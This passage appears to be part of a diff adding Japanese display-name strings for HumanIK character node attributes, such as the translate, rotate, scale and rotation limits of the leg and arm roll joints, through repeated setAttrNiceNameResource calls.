の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateAxisx", "左大腿部ロール 1 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateAxisy", "左大腿部ロール 1 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateAxisz", "左大腿部ロール 1 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1JointOrient", "左大腿部ロール 1 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1JointOrientx", "左大腿部ロール 1 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1JointOrienty", "左大腿部ロール 1 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1JointOrientz", "左大腿部ロール 1 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimit", "左大腿部ロール 1 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimitx", "左大腿部ロール 1 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimity", "左大腿部ロール 1 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimitz", "左大腿部ロール 1 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimit", "左大腿部ロール 1 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimitx", "左大腿部ロール 1 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimity", "左大腿部ロール 1 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimitz", "左大腿部ロール 1 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimitEnablex", "左大腿部ロール 1 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimitEnabley", "左大腿部ロール 1 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimitEnablez", "左大腿部ロール 1 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimitEnablex", "左大腿部ロール 1 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimitEnabley", "左大腿部ロール 1 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimitEnablez", "左大腿部ロール 1 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1", "左脚ロール 1 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1T", "左脚ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Tx", "左脚ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Ty", "左脚ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Tz", "左脚ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1R", "左脚ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Rx", "左脚ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Ry", "左脚ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Rz", "左脚ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1S", "左脚ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Sx", "左脚ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Sy", "左脚ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Sz", "左脚ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", "左脚ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateAxis", "左脚ロール 1 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateAxisx", "左脚ロール 1 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateAxisy", "左脚ロール 1 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateAxisz", "左脚ロール 1 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1JointOrient", "左脚ロール 1 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1JointOrientx", "左脚ロール 1 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1JointOrienty", "左脚ロール 1 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1JointOrientz", "左脚ロール 1 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimit", "左脚ロール 1 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimitx", "左脚ロール 1 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimity", "左脚ロール 1 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimitz", "左脚ロール 1 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimit", "左脚ロール 1 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimitx", "左脚ロール 1 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimity", "左脚ロール 1 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimitz", "左脚ロール 1 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimitEnablex", "左脚ロール 1 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimitEnabley", "左脚ロール 1 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimitEnablez", "左脚ロール 1 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimitEnablex", "左脚ロール 1 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimitEnabley", "左脚ロール 1 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimitEnablez", "左脚ロール 1 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1", "右大腿部ロール 1 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1T", "右大腿部ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Tx", "右大腿部ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Ty", "右大腿部ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Tz", "右大腿部ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1R", "右大腿部ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Rx", "右大腿部ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Ry", "右大腿部ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Rz", "右大腿部ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1S", "右大腿部ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Sx", "右大腿部ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Sy", "右大腿部ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Sz", "右大腿部ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", "右大腿部ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateAxis", "右大腿部ロール 1 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateAxisx", "右大腿部ロール 1 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateAxisy", "右大腿部ロール 1 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateAxisz", "右大腿部ロール 1 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1JointOrient", "右大腿部ロール 1 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1JointOrientx", "右大腿部ロール 1 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1JointOrienty", "右大腿部ロール 1 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1JointOrientz", "右大腿部ロール 1 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimit", "右大腿部ロール 1 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimitx", "右大腿部ロール 1 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimity", "右大腿部ロール 1 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimitz", "右大腿部ロール 1 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimit", "右大腿部ロール 1 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimitx", "右大腿部ロール 1 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimity", "右大腿部ロール 1 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimitz", "右大腿部ロール 1 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimitEnablex", "右大腿部ロール 1 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimitEnabley", "右大腿部ロール 1 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimitEnablez", "右大腿部ロール 1 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimitEnablex", "右大腿部ロール 1 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimitEnabley", "右大腿部ロール 1 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimitEnablez", "右大腿部ロール 1 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1", "右脚ロール 1 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1T", "右脚ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Tx", "右脚ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Ty", "右脚ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Tz", "右脚ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1R", "右脚ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Rx", "右脚ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Ry", "右脚ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Rz", "右脚ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1S", "右脚ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Sx", "右脚ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Sy", "右脚ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Sz", "右脚ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1RotateOrder", "右脚ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1RotateAxis", "右脚ロール 1 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1RotateAxisx", "右脚ロール 1 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1RotateAxisy", "右脚ロール 1 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1RotateAxisz", "右脚ロール 1 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1JointOrient", "右脚ロール 1 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1JointOrientx", "右脚ロール 1 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1JointOrienty", "右脚ロール 1 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1JointOrientz", "右脚ロール 1 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimit", "右脚ロール 1 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimitx", "右脚ロール 1 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimity", "右脚ロール 1 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimitz", "右脚ロール 1 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimit", "右脚ロール 1 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimitx", "右脚ロール 1 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimity", "右脚ロール 1 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimitz", "右脚ロール 1 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimitEnablex", "右脚ロール 1 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimitEnabley", "右脚ロール 1 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MinRLimitEnablez", "右脚ロール 1 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimitEnablex", "右脚ロール 1 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimitEnabley", "右脚ロール 1 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1MaxRLimitEnablez", "右脚ロール 1 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1", "左腕ロール 1 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1T", "左腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Tx", "左腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Ty", "左腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Tz", "左腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1R", "左腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Rx", "左腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Ry", "左腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Rz", "左腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1S", "左腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Sx", "左腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Sy", "左腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1Sz", "左腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateOrder", "左腕ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateAxis", "左腕ロール 1 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateAxisx", "左腕ロール 1 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateAxisy", "左腕ロール 1 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1RotateAxisz", "左腕ロール 1 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1JointOrient", "左腕ロール 1 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1JointOrientx", "左腕ロール 1 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1JointOrienty", "左腕ロール 1 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1JointOrientz", "左腕ロール 1 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimit", "左腕ロール 1 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimitx", "左腕ロール 1 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimity", "左腕ロール 1 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimitz", "左腕ロール 1 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimit", "左腕ロール 1 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimitx", "左腕ロール 1 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimity", "左腕ロール 1 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimitz", "左腕ロール 1 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimitEnablex", "左腕ロール 1 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimitEnabley", "左腕ロール 1 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MinRLimitEnablez", "左腕ロール 1 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimitEnablex", "左腕ロール 1 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimitEnabley", "左腕ロール 1 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll1MaxRLimitEnablez", "左腕ロール 1 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1", "左前腕ロール 1 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1T", "左前腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Tx", "左前腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Ty", "左前腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Tz", "左前腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1R", "左前腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Rx", "左前腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Ry", "左前腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Rz", "左前腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1S", "左前腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Sx", "左前腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Sy", "左前腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1Sz", "左前腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateOrder", "左前腕ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateAxis", "左前腕ロール 1 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateAxisx", "左前腕ロール 1 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateAxisy", "左前腕ロール 1 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1RotateAxisz", "左前腕ロール 1 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1JointOrient", "左前腕ロール 1 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1JointOrientx", "左前腕ロール 1 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1JointOrienty", "左前腕ロール 1 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1JointOrientz", "左前腕ロール 1 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimit", "左前腕ロール 1 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimitx", "左前腕ロール 1 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimity", "左前腕ロール 1 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimitz", "左前腕ロール 1 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimit", "左前腕ロール 1 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimitx", "左前腕ロール 1 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimity", "左前腕ロール 1 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimitz", "左前腕ロール 1 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimitEnablex", "左前腕ロール 1 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimitEnabley", "左前腕ロール 1 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MinRLimitEnablez", "左前腕ロール 1 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimitEnablex", "左前腕ロール 1 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimitEnabley", "左前腕ロール 1 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll1MaxRLimitEnablez", "左前腕ロール 1 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1", "右腕ロール 1 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1T", "右腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Tx", "右腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Ty", "右腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Tz", "右腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1R", "右腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Rx", "右腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Ry", "右腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Rz", "右腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1S", "右腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Sx", "右腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Sy", "右腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1Sz", "右腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1RotateOrder", "右腕ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1RotateAxis", "右腕ロール 1 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1RotateAxisx", "右腕ロール 1 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1RotateAxisy", "右腕ロール 1 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1RotateAxisz", "右腕ロール 1 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll1JointOrient", 